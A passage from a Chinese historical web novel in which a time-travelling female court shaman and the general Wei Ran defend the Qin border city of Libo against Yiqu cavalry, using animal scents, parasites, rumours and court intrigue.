嬴驷重用张仪,意在驯服魏国,有魏国、燕国,便能牵制齐国、楚国,娶王后,也是其中一环。 楚越想劝王后不必担忧,但转念一想,王后忧心的,一定是公子荡的 太子之位,到嘴边的话,便咽了下去。 不想当母后的王后,不是好王后。 生在王室,如逆水行舟,不进则退。 王后抓住了她的手,那双总温柔注视她的眼睛,被忧伤覆盖,“子越,你告诉我,这件事会影响荡儿吗?他未来会好吗?” 少时,王后总亲昵的唤她‘子越’,子是一种很亲近的称呼,缀在名前,后来她渐渐长大,王后便以官职相称,意在提醒宫人,不能轻视她。 现在发生的种种,令王后焦虑不安,父亲魏惠王死了,兄弟继位不久,要和丈夫开战,秦王宫中,还有许多威胁她儿子地位的公子。 王后生怕那些有心之人,会将此事,作为攻击她们母子的借口,但她又是无力的,困在深宫中,不能阻止联盟的破败。 一个人微薄的力量,如何能撼动这个乱世?千军万马、赌上国运的厮杀,又怎么会因为一个人而停下。 即便她是王后,哪怕成为秦王的母后,都没有办法阻止,大乱之世,人人身不由己。 王后只能靠在楚越肩头,一遍又一遍问她,“不会有事的,是吗?” 楚越有力的肩膀,托起王后,她望着王后泪眼婆娑的眼睛,笃定道:“王后,相信我,不会有事的,我会帮公子荡,让他成为秦国的太子。” 王后一怔,眼眸倏而亮了起来,“你” 她很意外,“你想通了” 话未说完,王后又似乎意识到什么,恍惚摇头,“不,不能,你不能是为了荡儿这么做,你不能走上和我一样的路” 王后以手掩面,仿佛想起了往事,喃喃道:“不能这样” “可是我的荡儿” 楚越出声,打断了王后会错意的纠结,“王后,我会去李帛,如果一切顺利的话我会摆脱现在的困境之后,我希望您能同意我和白起在一起。” 什么让世卿世禄制开始崩溃,是战争?足够的功劳,可以崩坏原本腐朽的规则。 预言,让她成为司巫,军功,会让她更进一步,只有足够强大,发出的声音才能被人听到。 “我不嫁给嬴轩。” “我也不愿意,嫁给嬴华。” 第一句话,被所有人忽视,第二句话,绝不能再步第一句话的后尘。 楚越态度坚决,王后也不免动容,她的手轻轻放下,凝视着楚越良久,才道:“你难道不喜欢他吗?不是的吧。” 她轻声说出一直以来藏于内心的猜测,“你不喜欢他的话,就不会总是无缘无故的不高兴。” 少年楚越的世界很小,王后几乎不需要费功夫,便能猜到她不高兴的源头。 “我有时候觉得,你不像个孩子,你总是,那么有想法。” 楚越笑得苦涩,“只是不像,但说到底,还是个孩子,谁会在意一个孩子。” 王后闻此,陷入了沉默,即便有所猜测,但只是一瞬想象,很快就被她自己压入心底。 她都是如此,何况旁人。 “你去李帛做什么?那边靠近义渠,义渠人虽然明面上臣服于秦国,但实则内藏反心,太危险了。” 楚越低头。 良久,王后叹口气道:“魏冉也在那边,你一个人在外,要照顾好自己。” 得到王后的准许,楚越带着她的三千门客(少两千九百九十八个版),往李帛而去,魏冉接到王后的消息,中途接应她。 魏冉抬手,战车戛然而止,带着干燥沙土的风,迎面袭来,楚越口鼻霎时一阵发涩,她歪头呸呸吐掉嘴里的沙子,瞪向来人,骂道:“魏冉你干什么。” 青年从战车上跳下来,饶有兴趣打量着眼前人,“去李帛打算干什么?” “我凭什么告诉你?” “废话。”魏冉理直气壮道,“我领兵去支援李帛,你说你有必要告诉我吗?” 完了。 楚越心想完了。 秦军是真没什么兵力可言了,居然已经沦落到让魏冉领兵去支援镇守李帛的地步。 也是,这一战,天下有点名头的国家都来围殴秦国了,秦国自然重视,将大半兵力,全部开赴函谷关。 楚越眯着眼睛,望着魏冉,视线倏而越过他,落到他身后的士卒之中。楚越大步往前,从军士中,拉出一个白的几乎可以算的上扎眼的少年。 “你给我回咸阳去!” 楚越叉腰,对着嬴缃,大喊道:“立刻,现在,马上!” 她要是出点事,自己还回什么咸阳? “你认识他?”魏冉有些吃惊。 楚越看了一眼魏冉,“你不认识她吗?” 魏冉摇了摇头,“我怎么会认识?” “那天在河边,你捡到了她的金簪。”楚越掩唇,以缓解提到河边的尴尬,魏冉瞪大眼睛,“什么?!” “你是真看不出来还是装的?” 楚越回头,打量了眼嬴缃,仅从肤色而言,她和周围人就明显不是一个图层,她那么白,五官又精致,眉毛还有修剪过的痕迹。 认不出来? 瞎啊?鼻子上面长了俩大灯泡吗? “不是”魏冉慌忙向嬴缃行礼,“公孙,不知是公孙,冒犯了,还请公孙恕罪。” “没事。”嬴缃大度的让魏冉不必多礼。 魏冉将嬴缃请上车,自己则拽着楚越的衣袖,往角落去。 “干什么?” 魏冉开门见山,“公孙的事,你来的时候不知道?” “我还想问你呢?她是出现在你的队伍里!你看不出来我是女儿身,也就罢了,她那么明显,你都看不出来。你是从咸阳出来的时候没带脑子还是没带眼睛?” 她是真的公孙,爷爷是秦献公。 嬴缃要是出了什么事,宗室是真的会来要个说法的。 魏冉被楚越骂了一顿,气势腰斩,他抓抓头,无奈道: “战时人手紧缺,能多一个人抵抗敌人,当然多一个好,但我真没想到,她是公孙,不是你们怎么一个二个,放着好好的咸阳城不待,非要往哪鸟不拉屎的破地方去?” “她不是也是不想嫁人,所以往出跑的吧?!” 楚越‘啧’了声,“她就不能是冲你来的?” “我?”魏冉指着自己,满眼惊恐,“她心眼儿这么小,非要报复我啊。你怎么也不劝劝她,我那天真不是针对你们,我是怕有刺客。” 楚越望着魏冉,眼睛眨了眨,“算了,跟你说不明白。” 也许,魏冉还没开窍。楚越想。 “但不管怎么说,先把她送回去,她要是在这儿出事了,你和我可就”楚越伸手,做了个抹脖子的手势。 魏冉深吸口气,咬牙切齿道:“还用你说!不是你跟我,是我啊,你跟她要是出事了,我” 他说完,又意识到什么,给了自己一下,“你俩绝对没事!” 楚越被魏冉的举动逗笑了,笑出声来,魏冉没好气看了她一眼,“现在你我是一条船上的人,公孙就交给你了。” “为什么交给我?”楚越急着要将这个烫手山芋往外丢,“他是你的下属。” “我领兵,不止是她,你也要听我的,我说将她交给你,就交给你,要违反军令不成?”魏冉神情严肃的望着楚越,不容置疑道。 楚越翻了个白眼,“行吧。” 第38章 作战计划他俩好坏 楚越抵达李帛的第一件事,便是借钱。 李帛城中大族、富户、有名有姓的,一个一个,敲门借钱、借粮食,理由也冠冕堂皇,“防备义渠。” 一身盔甲的魏冉跟在她身后,两人腰间佩剑锋利,大族没出口的诉苦,烂在了肚子里。 如此借了好几户人家,魏冉站在台阶上,看着一车车往外运的粮食、财帛,往前小跑了几步,追上楚越脚步,问道: “你借这么多东西做什么?” “莫不是想借机敛财?” 楚越瞪了他一眼,魏冉悻悻摸了摸鼻子,“你不说,我只能猜出这么点,别的我也想不到了。” “你求我。” 魏冉蹙眉,楚越望着他的眼睛,不说话,他到底抗不过,败下阵来。 “算我求你。” 楚越笑了下,招手示意魏冉上前,魏冉看了一眼两人间的距离,没有上前,身子前 倾,将耳朵凑了上去。 “说吧。” 楚越压低了声音,“你知道我借钱,留的是谁的名字吗?” “谁的?” “你的。” 魏冉的声音一时在楚越耳边炸开,“什么!” 楚越捂住半边耳朵,骂道:“你这么大声干嘛!” 魏冉直起身,神情严肃的望着楚越,“你借钱,为什么要留我的名?你为什么不留自己的?你没名字吗?” “我说,若是能守住李帛,你会加倍奉还,要是义渠人来了,他们认不认,我不知道。如此一来,这些大户就算是为了钱,他们也得和咱们一条心。” 魏冉想了想,脸上的冰霜渐渐消融,他朝前走了半步,谄媚笑道:“司巫,耳朵没事吧,刚才是我的错,都怪我这张破嘴,声音大。见谅。” 说着,他轻给了自己一下。 楚越冷笑一声,“咱们要是守不住李帛,这些钱也够给咱俩陪葬了。” “陪葬这么多,不怕被人挖啊?还是算了,等击退义渠,还给他们吧。”魏冉幽幽道。 楚越斜了他一眼,魏冉也正看她,两人相视一笑。 义渠的兵马,动作很快,前一天探子汇报,还风平浪静,第二天一大清早,就杀到了离城门五十里外。 门被拍的砰砰作响,魏冉焦急道:“义渠人杀过来了!” 楚越猛然从睡梦中惊醒,推开压在身上的手和腿,嬴缃被推开,没醒,翻了个身,继续沉沉睡去。楚越穿好衣服,顺手拉上被子,为她盖好,这才出门。 “义渠人很多,你昨天说的对付义渠人的方法到底是什么?快拿出来。”魏冉有些焦急。 楚越揉了揉眼睛,视线变得清晰,她没有理会魏冉,而是冲到了马厩,婼摘掉脸上的面纱,对着楚越点点头,楚越会意,这才对魏冉道: “义渠人所能依仗,不过骑兵,打蛇要打七寸,打义渠人,要先从马下手。” 楚越冷静道。 出征之前,她在窗前,冥思苦想,试图找到对付义渠骑兵的办法。 义渠人的机动性很强,时常骚扰秦国边境,烧毁农田,焚毁庄稼,秦军一出兵,他们就跑,等秦军退去,他们又卷土重来。 就在她苦思冥想之际,小虎忽然出现在眼前,它在院中树干上磨了磨它的爪子,而后纵身一跃,跳到了树上。 角落中,它的乳母,依旧瑟瑟发抖。 动物的天性,是刻在骨子里的。 楚越顿时眼前一亮。 骑兵,骑的是马,马,也是动物。 “走,去城墙。” 两人离开马厩,往城墙而去。 楚越还未登上城墙,一股浓烈的腥臊气便迎面袭来,她顿时捂住口鼻,魏冉五官皱在一起,抬手扇了扇,叫住一个士卒,“怎么回事?” “是诙,他不知道弄了什么东西。” “是老虎。”楚越回头解释道。 一桶一桶的污水,被士卒泼洒在城门前,难闻的气味顿时弥漫开来,楚越胃中翻滚,不少秦军士卒无法忍受这个气味,当场呕吐起来。 魏冉想说话,一张口就发出yue的声音。 “这什么?” 楚越捂住胸口,强硬按耐下胸中波涛翻滚。 好杀敌一千自损一千二的招数。 老虎不愧是百兽之王,这味道 义渠的骑兵,来去如风,不多时,便黑压压落了满山,西北多风,风一吹,猛兽的气息,随风扩散,整片黑色海洋,霎时沸腾起来。 不少义渠士兵,都被马儿甩下背去,剩下大部分人,也是尽力,才控制住□□坐骑。 楚越见大部分人还在马背上,不由有些失落。 可惜老虎的数量太少,百兽之王,不好抓,她还要活的,就更难对付。 诙将能找到的老虎、狼,连粪便、尿液,带洗澡水全打包运来,还是杯水车薪,‘生化武器’的数量终究有限,只能洒在最容易受到攻击的地方,避免被重点突破。 义渠擅长途奔袭,但在攻城略地方面,不如秦军,义渠王想要一鼓作气,主攻城门,奈何马嗅到猛兽的气味,变得焦躁不安。 为了避免首战失利,影响军心,义渠王果断选择退兵,在城外三十里外驻扎,等待战机再战。 见义渠骑兵安营扎寨,楚越拿出了第二件杀敌一千,自损一千二的东西。 一排排竹筒中,盛着许多小芝麻一样的东西,腥味,和腐臭味混合,比之前的污水,杀伤力更甚。 “这是什么?”魏冉问道。 “这是会让马匹、牛羊日渐消瘦,最终虚弱而死的东西。” 寄生虫。 既然想到能用猛兽克制骑兵,楚越的思路稍微往下一想,就能想到另一种杀伤力更大的生物——微生物。 看不见,摸不到,杀人于无形,而且,这个时代,还没有什么成熟的防治方式。 但这个念头只是很短暂的在脑海中闪了一下,就被楚越打消。 太没人性了。 不行。 她很快想到了另一种东西,寄生虫,有些寄生虫人畜共患,但有的只寄生在牛羊身体。 科学,就是力量。 望着白花花一竹筒,面条一般的绦虫,楚越闭眼,这辈子,她都不会再将面条,带到这个时代。 “义渠的马匹、牛羊,接触这个东西之后,不出半个月,就会衰弱下去,有些体弱的,甚至会死。” 魏冉眼前一亮,“真的,义渠没有骑兵,我看他们还怎么跑,跑不掉,看我怎么收拾他们。” 他伸开的五指合拢,仿佛攥住的不是空气,而是敌人,秦军擅阵战,跑不掉的义渠军,就是军功。 “这就够了吗?”楚越忽然问道。 魏冉还没反应过来,“啊?” “义渠人以放牧牛羊、马匹为生,牛羊大规模死了,百姓生计势必难以维持,义渠王作为他们的君主,该怎么办呢?” 人生,就是一场巨大的,顾头不顾腚 秦国为了保护自己的大腚,只能去扒义渠的底裤。 “管,就要退兵,若是不管,这个时候,秦国愿意将他们编户齐民,给他们农田、土地,他们体会到县制的好处,还会和义渠王一条心吗?” 楚越歪头,望向魏冉。 百姓,是不会管谁当皇帝的,只会在意自己能不能吃饱饭。况且,义渠本就对秦国称臣,县制也在义渠初步推广,十年过去,义渠的百姓对秦国早没了一开始的抵触。 分化,孤立,然后打击。 楚越继续道:“牛羊不吃草,日渐衰弱,却找不到原因,如果,这个时候有人在草原上散布谣言,说是因为义渠王,对秦国开战,触怒神灵,所以遭到上天惩罚。” 她挑眉,“重赏之下,必有勇夫,千金的贿赂摆在面前,再威胁几句,我就不信义渠的巫师们,不会说出我们想要的话。” 天下巫师是什么水平,楚越最清楚。 一旦出现无法解决的问题,巫师将承受来自各方面的压力,百姓的、君主的,如果再找不到一个合适的借口,那就真完蛋。 收了钱,还有了借口,何乐而不为呢。 “咱们借了那么多粮食、财帛,总得找个地方花出去吧,否则,你真准备自己还双倍吗?” 楚越说到了要点。 “我可是立过字据,说双倍奉还,还签的你的名字!” 这钱他俩怎么能还呢?! 当然是花出去,开发票,找秦王报销,让他还。 回扣可以少吃,但是不能不吃,这是辛苦费。 以秦军的战斗力,阻挡义渠人于城下,还是没什么大问题,但楚越要的是 ,一场能够让众人都看见的胜利。 要赢,还要赢的很漂亮。 守住城池,只能算五分的答卷,她要十分的完美分数,和一点回扣。 这过分吗? 魏冉眸子一紧,很快跟上了楚越的思路,“我听说义渠王还有兄弟” 他看向楚越,眼中黠光闪烁,“你说,是手足兄弟重要,还是王位重要。” 东西都送了,当然要大肆宣传,三人成虎,挑拨离间,简直是千古第一大杀招,尤其,在王室。 “废话,当然是王位,左手断了,还有右手,王位没了,那就什么都没了。” 魏冉低头一笑,“那他们义渠,是左手砍右手,还是右手砍左手呢?我听说现在义渠王的父亲,就是杀了他的哥哥,才成为义渠王的。” 楚越脑海中闪过多年前的画面,义渠内乱,秦国趁机派庶长操领兵义渠。她曾经,在这里,编织出一个谎言,和憧憬的美好未来 她摇头,“不知道。” “让我们看看?” 两人不约而同抬眸,对视一笑,楚越欣然道:“好啊。” 作战计划,初步拟定,接下来的,便是实行。 第39章 她和她的门客对门客的第一个命令…… 计划完美无缺,第二个严峻问题呈现在两人面前。 谁担责。 此时李帛城中,除了原有的驻军,和魏冉带来的三千精锐禁军,加起来不到一万,义渠 倾巢而出。 三十年河东三十年河西,若干年前,楚越来到这里,看到的,是秦军将义渠按着打,现在 莫欺少年穷了。 义渠王还记得当年的耻辱,想要一洗。 计策虽好,但在双方实力悬殊如此之大的情况下,再分散兵力,往义渠腹地‘投毒’,过于冒险。 万一计策不成,损兵折将 万一李帛出事,谁来承担失守之责? 楚越看看魏冉,魏冉看看楚越,阳光从墙头斜照,在二人之间划出一道分明的界限。 “万一李帛失守,我们可就得不偿失。”光亮下,魏冉神情明显犹豫。 坚守李帛,不让义渠攻陷,已经算圆满完成任务,就不要再创新,以免,画蛇添足。 “不兵行险招,怎么能让人看见!”阴影中,楚越倔强道,“城中百姓,可以组织起来,有一个算一个,都能守城,只要函谷关方面的压力一减轻,就会有援兵。” “即便失守,你还怕功不抵过吗?” 魏冉看向身后,街头巷尾,已经少有人在,只剩下零星几个百姓,脚步匆匆。 “城破了,这些百姓怎么办?义渠人,会怎么对待他们?多一分兵力守住李帛,他们就多一分希望活下去。” 楚越一时缄默,良久,她才道:“那我自己去。” 魏冉眯眼,看向楚越的眼神复杂,“就你那几个人?” “你不去,我能怎么办?”楚越抬眸,望向魏冉的眼睛。 他的眼睛也是黑的,只是不如白起的眼睛黑的纯粹,在日光下,黑色渐渐褪去,露出几分褐色。 魏冉望着楚越坚定的眼睛,若有所思,他往前走了一步,“想要我支持你,也很简单,我去,你留下。赌一把,大不了,我再回去当公士。” 真出事了,他一力承担。 既然担责的是他,那么指挥权也理所应当落到了他头上。 “那不行。” 军功面前,六亲不认。 “办法是我想出来的,婼是我的门客,当然我去,你去什么?”楚越看破魏冉的以退为进,不同意是假,要和自己讨价还价才是真。 魏冉见楚越不上当,一时口气变得强硬,“我奉命驻守李帛,我是主将,你在军中,当然要听我的,我不同意,你也不能去。” “你别忘了,李帛还有县令和县尉,不是只有你魏冉。” 县中地方军,归属于县尉管辖,县令,也能组织起民夫。楚越不是非和魏冉合作不可,掌握核心技术的是她。 两个人争论不休,魏冉说不过楚越,一时急了,撸起袖子,“耍嘴皮子有什么用,秦军,用实力说话。” 楚越‘呵’了声,“怕你不成?” “将军、司巫。”诙及时站了出来,打圆场道:“两位一心为国,其心可嘉,但大敌当前,还是要齐心协力。魏冉将军毕竟是男子,行动更为方便。” 楚越冷笑声,“你是想说,婼也别去了,你跟魏冉去就好了。” 诙摸了摸头,全然被看穿的窘迫。 话说到这里,魏冉也就干脆不再藏着掖着。 “你不能去,我可不是白起,真让你跟着上,那是义渠,一旦失手,你是什么下场,你自己知道。你要是出事了,我怎么跟大王王后,还有白起交代?!你别以为县令、县尉就会让你去,说不准,他们还不如我大胆。” 女扮男装集体作战,和孤军深入敌后的危险程度是完全不同的。 能说的上话的几个人,除了目睹过楚越实力的魏冉,没人相信她。 “留着命,才有军功。”魏冉劝道。 楚越斩钉截铁道:“不行!” 两个赌徒相视,眼中只有扬名立万的渴望。 双方僵持不下,最后,不得不各退一步,事成之后,功劳均分,楚越留下守城,魏冉与婼执行。 三五日风吹日晒,‘生化武器’渐渐失效,半日后一场大雨,彻底让它报废,楚越望着城墙下活动越来越频繁的斥候,知道义渠马上就要攻城了。 她召集工匠,按照自己画的简陋工图,做出个数个木质大风扇,安设在城墙上,为了加大震慑力度,楚越又为风扇做了一个凶神恶煞的外壳。 凶兽张开血盆大口,黑洞正对城墙下。 义渠的士兵到了城下,城墙上却安静一片,前锋见有异,急忙打马回营禀告。义渠王与左右诸将勒马,打量着眼前的李帛城。 寂静中,几点鼓声骤然响起,义渠士兵一时戒备,以为自己中计。但城墙上依旧无人出现,唯闻点点鼓声。 一通鼓毕,城墙上出现一道人影。 白襦黑裙,以白纱覆面。 义渠人的视线,一时都落在了这道人影上,看样子,是个女子,她居高临下,斥责城下义渠部众道: “你们臣服于秦,今遭却起兵反叛,违背当日之诺,我已请于巫咸大神,神将降罚于义渠。” 话音刚落,平地起风,大量黑灰,从城墙上凶兽的口中,铺天盖地,义渠士兵望着满山黑灰,纷纷以袖掩鼻,生怕有毒,诅咒在人群中散开,一时四处议论不止。 “装神弄鬼。”义渠王轻嗤一声,当即弯弓搭箭,羽箭直射人影,楚越收了傀儡,一支箭,穿透咽喉。 好箭法。 可惜遇到了草人。 她才不会傻到出去给人当靶子。 草船借箭没学过吗?他们真没学过。 义渠冲锋的号角,在城下响起,早进入战备模式的秦军,展开还击,誓死守卫李帛。数个民夫转动风车,几个壮女将风扇前的黑灰替换为沙石。 大量灰沙,从饕鬄血盆大口中飞出。 楚越想,传闻中黄帝大战蚩尤,风伯召唤来飞沙走石,也不过如此。 一日鏖战,义渠没占到便宜,退兵而去。 守城的一方先天占据优势,但义渠实在人多势众,县令将城中所有能组织的人力,都组织起来。 壮男、壮女、老弱孩童,分别为三军。 男女守城,老弱孩童建筑工事,搬运器械,楚越下城墙,寻找嬴缃时,不远处一队孩童吸引她的注意力,望着齐心协力,搬运木头的半大的孩童,楚越一瞬出神。 但下一瞬,她的注意力就被角落中一闪而过的道熟悉人影吸引。 嬴缃一闪而过,躲到了角落。 楚越往前,走了几步,墙后几道凌乱的脚步声令她警觉起来,她本能按上剑柄,小心翼翼靠近。 冰冷的剑锋出鞘,楚越双手握剑,却只对上墙后几双惊恐大眼,嬴缃被几个十二三岁的姑娘按住,动弹不得,见来了人,那几个姑娘惴惴松开手。 嬴缃跑到楚越身后,指着几人对楚越道:“她们,她们要逃跑!是她组织的。” 她指着挡在人群 前的一个少女道:“就是她组织的。” “你怎么能想着逃跑呢?义渠大军在外,你作为秦国的百姓,应当坚守不退。” 少女嗤之以鼻,“死了就什么都没了,守个屁。怕你受牵连,好心叫你走,你却不识好歹,真没见过你这样的人。” 楚越光听他们争吵的内容,便知道发生了什么。五人一伍,编在一起,一人逃跑,余下的人都要受牵连。 这个少女应该是想逃跑,但怕牵连同队,于是阻止了这场逃亡,她也想带走嬴缃,却被对方斥责。 嬴缃的声音,吸引来一个小吏,眼见事情要败露,那少女对着身后伙伴大喝一声,“快走”,楚越上前,一把拽住了她。 少女似乎并没有逃跑的打算,而是紧紧抱住了楚越的手。 楚越只觉手臂一疼。 Oi! 怎么可以咬人。 楚越想捏住她的下巴,手里却拿着剑,她干脆把剑架在了少女的脖子上,“松口。” “快点!” 在剑的威慑下,少女不甘心的松开了口,她一双大眼睛,狠狠瞪着楚越。 眼前女子约莫十八九岁,很年轻,面容坚毅,一双眼睛平静而有力。身着戎袍,结发为髻,做男子打扮,另一手,还握着把锋利的剑。 少女垂眸,目光不甘落在自己脖间的剑上。 楚越点头,示意这里交给自己,小吏见楚越在,便去追那些逃跑的人。 楚越撸起袖子,一圈牙印青紫,她‘嘶’的吸口气,埋怨望向那少女,少女也瞥见了,眼中却全无愧疚,一副无所畏惧的样子。 “你想怎么样?” 想怎么样? 她想咬她两口,报仇雪恨。 楚越打量了一眼眼前少女,不过十二三岁,很黑,也很瘦,衣着破烂,像是贫民出身。 很快,小吏将逃跑的几个姑娘抓了回来。 见到同伴,少女眼中才有了几分动容。 “是我胁迫她们的,有什么冲我来。” 嬴缃抢先道:“按秦律,你们都要被罚去做奴隶。” “放屁的秦律,竹简上几个我都不认识的字,就想让我留下送死,凭什么?” 嬴缃一时愕然,“可是这里也是你的家啊。” “我家才不在这儿,我是被强制迁徙过来的,凭什么说迁徙我们就迁徙我们,让我们送死,我们就送死?我不管,我要回家。” 嬴缃似乎从未听说过这样的话,神情一时愕然,在她眼中,秦律似乎就是每个人应该遵守的东西。 楚越看向那野性难驯的少女,眼中已然带着几分欣赏,“你叫什么名字。” “辛。” 楚越垂眸,没有姓氏,是个普通百姓,古人有用天干地支命名的习惯,辛恰好是第八位。 “你是家里第八个孩子,是吗?” 辛眼中闪过一丝诧异,“嗯。” 楚越扫了一眼那些瑟瑟发抖的女孩,对辛道:“你要是不想你的伙伴和你一起,变成奴隶,就要完成官府交给你的一个任务。” 她指着嬴缃道:“现在,你是这一队的队长,负责保护这位公孙的安全,如果城池失守,你要带着她,安全回到咸阳,知道吗?” 一个敢组织逃跑的孩子,楚越很欣赏她的胆量和能力,“如果你保护她不利,按照秦法,你和你的伙伴,都要去做奴隶。” “我会保护好她的。”辛斩钉截铁道。 义渠攻势凶猛,附近前来支援的秦军,被义渠打败,溃入城中。咸阳这才觉察义渠危险,奈何已经没有可以调动的兵力。 六马高大,拉着华贵的车驾,驶入李帛,楚越惊愕瞪大双眼,秦王?亲自来了? 车上跳下个少年,十五岁的嬴壮,已经有了成人模样,只是五官尚未长开,还带着少年的青涩。他奉秦王之命,带兵前来支援李帛。 楚越看看眼前身高已经快追上自己的嬴壮,又看了看他身后秦王的车驾,在嬴壮注视的眼神中,不得不抱拳向他行礼,“公子。” 李帛县令、县尉、守城士卒、百姓,纷纷行礼,“公子。” “诸位,本公子奉父王之命,前来支援李帛,壮,誓与各位共进退!” 嬴壮和援兵的出现,大大缓解了李帛的压力,他也的确做到了身先士卒,率领秦军,数次击退义渠军,肉眼可见的,城中人的视线,全转移到了这位秦王公子的身上。 等到魏冉和婼归来,城中已然是另一幅光景。 嬴壮当家做主。 他的门客先下手为强,当即要问罪魏冉擅离职守之罪,楚越不得不将计划和盘托出。 “公子容禀,魏冉之所以离开城中,是有一件秘密军情,我此前已修书大王,大王也知晓此事,准许我们实施。” 楚越修书秦王,称自己会对义渠施展厌胜之术,需要魏冉为介,深入义渠腹地。 “哦,不知是何秘密?”嬴壮问道。 楚越和魏冉对视一眼,她道:“既是秘密,请恕臣不能说。” 门客当即斥责,“司巫不说,也该拿出大王信件,谁知是不是司巫有意包庇魏冉,欺骗公子。” 楚越抬眸,扫了那门客一眼,神情已然不悦,“我与公子在此说话,你是什么人?几次三番打断。” 门客面不改色,“我不过据实而言,司巫何必动怒,莫不是被人猜中了什么。” “放肆!” “司巫放肆!” 两道斥责声一前一后响起,嬴壮脸色一沉,“本公子面前,只怕还轮不到司巫教训人,我敬你是父王所尊,但也请司巫不要忘了自己的身份。” 君臣有别,楚越不得不低头,道一声“公子恕罪”。 嬴壮的脸色这才有所和缓,“司巫既然说此事是父王准许,那还请拿出证据,本公子是秦国王子,断然不会做出有碍秦国之事,还请司巫放心,壮见过,便同没见过一样。” “否则,我怎么知道,是不是司巫说谎,有意包庇魏冉呢?毕竟,魏冉曾经,是司巫的上官,又与白起,私交甚笃。司巫也该避嫌。” “守将私离汛地,可是重罪,当枭首的。” 嬴壮话中的威胁,全然流露,楚越只能拿出与秦王的书信,嬴壮接过,十目一行扫过帛书内容,浑身一惊道:“司巫竟能以此术制敌?” 话一出口,他又觉得不妥,于是改口道:“我自是相信司巫本领,既然魏冉将军已经归来,本公子便即刻禀明父王,详陈李帛之事。” 楚越与魏冉对视一眼。 没参与这个项目的人,抢着和领导汇报,摆明了要抢功。 但嬴壮是公子。 “两位都辛苦了,先回去休息吧。” 说完,嬴壮便兴冲冲回到桌案,与门客商议,将李帛军情汇报秦王。 楚越与魏冉行礼退出,出了门,魏冉压低声音对楚越道:“你就不该告诉他,我就不信这小子真能把我砍了!” “你的人头,你自己拿去当赌注就算了,我怎么能拿来赌?我要不说,这会儿你要么人头落地,要么埋怨我不顾你生死,你让我怎么办?” 这计有点毒。 楚越也不知道,嬴壮是冲着挑拨自己和魏冉关系来的,还是抢功来的。 “他都是公子了,怎么还跟我们抢功劳?”魏冉不解道。 “别乱说,这可不是你的,他是公子,秦国的一切都是他的。”楚越提醒道。 魏冉意识到自 己说错话,“是是是,他的,都是他的。” “但咱们也不能吃这么大个亏,一声不吭吧。” 楚越深吸口气。 又吸了口气。 好气。 “嬴壮年纪不大,肯定想不出这种主意,他身边那群门客,不是什么好东西,不管,先捉那个话多的过来打一顿。” “你们要捉谁打一顿。”诙冷不丁的出现在两人身后,吓了楚越一跳。 他看到两人,上前来,谁知一靠近,便听见楚越说,要抓那个话多的过来打一顿解气。 诙不由想起了当时 楚越一时尴尬,当即指着魏冉道:“他,他说的,我只是重复他的话。” 魏冉一惊,“怎么” 面对诙审视的目光,他立刻道:“不是我,是白起!” “对,就是白起!”两人异口同声道。 诙显然不信,“是吗?” “是!” 次日,门客的头颅便悬在了城墙,嬴壮见到门客的头颅,大惊失色,愤怒道:“是谁?!” 魏冉和楚越姗姗来迟,嬴壮看向两人的目光喷火,咬牙切齿道:“谁干的?” “一定是义渠人的细作。”魏冉笃定道。 楚越也附和道:“一定是。” 嬴壮失去幕僚,悲痛欲绝,忙命人将幕僚的头颅从墙头取下,找回尸身,一并安葬。 楚越抬头,凝视城墙上那颗血淋淋的头颅,耳边回荡起诙在得知事情原委后的劝告。 “你打他,他知道是你,之后,他要么想办法和你化解矛盾,要么想方设法报复你。他既然是公子壮的幕僚,就一定会唆使公子壮,再针对你,既然如此,不如干脆将他杀了。” “这样,公子壮身边少一人出主意,你也少一个敌人,就是这样做,可能会得罪公子壮。” “不是我们得罪公子壮,是公子壮先得罪我们。”楚越纠正道。 “杀了他。” 这是楚越,对自己门客诙,下达的第一个命令。 头颅缓缓从城墙上落下,楚越转身离去,诙提着剑,跟了上去。 第40章 张仪来劝很精通语言艺术的一个人…… 秦军主力在函谷关,义渠国举全国之力,援兵也不过杯水车薪。 李帛,还在危险之中。 楚越和婼从城墙上拖下一名肩上中箭的秦军,他紧紧抓着楚越的手,嘴大张着,似乎想要说什么,却只挣扎了几下,甚至没来得及说出那句“救救我”,便撒手人寰。 义渠是马背上的民族,箭术很准。 这一箭,射穿了他的动脉。 相同的事情,每一日都在上演,楚越穿梭在敌军箭雨中,调度人员、救治伤兵,义渠的攻势一连数日不止,她就一连数日守在城墙上。 魏冉也挨了一箭,伤在手臂,他扎着一根半米长的箭,来找楚越,面对熟人,楚越不敢拔,“不行,我下不了手。” “你总不能让我自己拔吧。” 婼救治完一个士卒,擦了擦手上的血迹,对楚越道:“你去包扎伤口,我来拔吧。” 小刀在火上烤了烤,划开箭附近的皮肉,婼望着魏冉,“来,吸气。” “一,二” 三还未出口,婼便用力拔掉了魏冉手臂上的箭,魏冉猝不及防,五官痛得皱成一团,婼面无表情的将一块布扣在魏冉手臂伤口,用力按压止血。 魏冉痛得眼中泪花闪烁,“啊!你怎么不喊三。” “我没说是喊到三拔啊。” 一行清泪被魏冉皱起的五官挤出,他望着婼,愤愤道:“你故意的是吧” 婼注视着他的眼睛,“将军何出此言?” 义渠的攻势,渐渐弱了。 楚越知道,一定是函谷关出现了转机。 离开咸阳之前,秦王问过她此战的凶吉,楚越给出了‘吉’的答案。 “五国看似结盟,实则各怀鬼胎,燕国路远,又有齐国虎视眈眈,是最容易拆散的。大王该相信张仪,他定能从楚国,为大王带回好消息。” 楚越可以明显感觉到,张仪发力了。 楚国不出兵,秦国南线的压力便会减弱,就能腾出手,迅速收拾函谷关前的兵马,义渠看到东方列国的颓势,陷入进退两难之地。 退,他们已经起兵攻秦。 进,拿不下李帛,且很可能招致秦国更猛烈的报复。 与此同时,义渠部落内部,也出现了问题,牛羊马匹,渐渐衰弱,部众、百姓们找不到原因,将一切归咎于楚越城墙上的诅咒。 他们陷入了得罪秦国、得罪神灵的恐慌。 矛盾,和虫卵一样,在义渠的内部孵化,逐渐成长。 义渠王连杀数个巫师,才勉强止住流言,他派遣亲信巫师,告诉部众,是秦人给他们的牛羊下毒,煽动义渠人对秦的仇恨。 但流言并没有完全在义渠内部消失,只要现状一日不解决,牛羊不会痊愈、义渠没有胜利,流言就会一直存在,并如滚雪球一般,越滚越大。 义渠王,吹起了总攻的号角,他急需要一场巨大的胜利,来稳固自己晃动的威信与王位。 箭矢如雨般落下,城门被撞开,李帛,还是失守了。义渠人潮水般涌入城中,将众人冲开,楚越和一批壮女,以熟悉的街道为掩护,和义渠人周旋。 身边的人,越来越少,城中义渠人,却越来越多,楚越在逃跑和继续坚守之中纠结,墙下忽然传来阵异动,楚越举起已经有些卷刃的剑。 来人在外低声喊道:“是我。” 是魏冉。 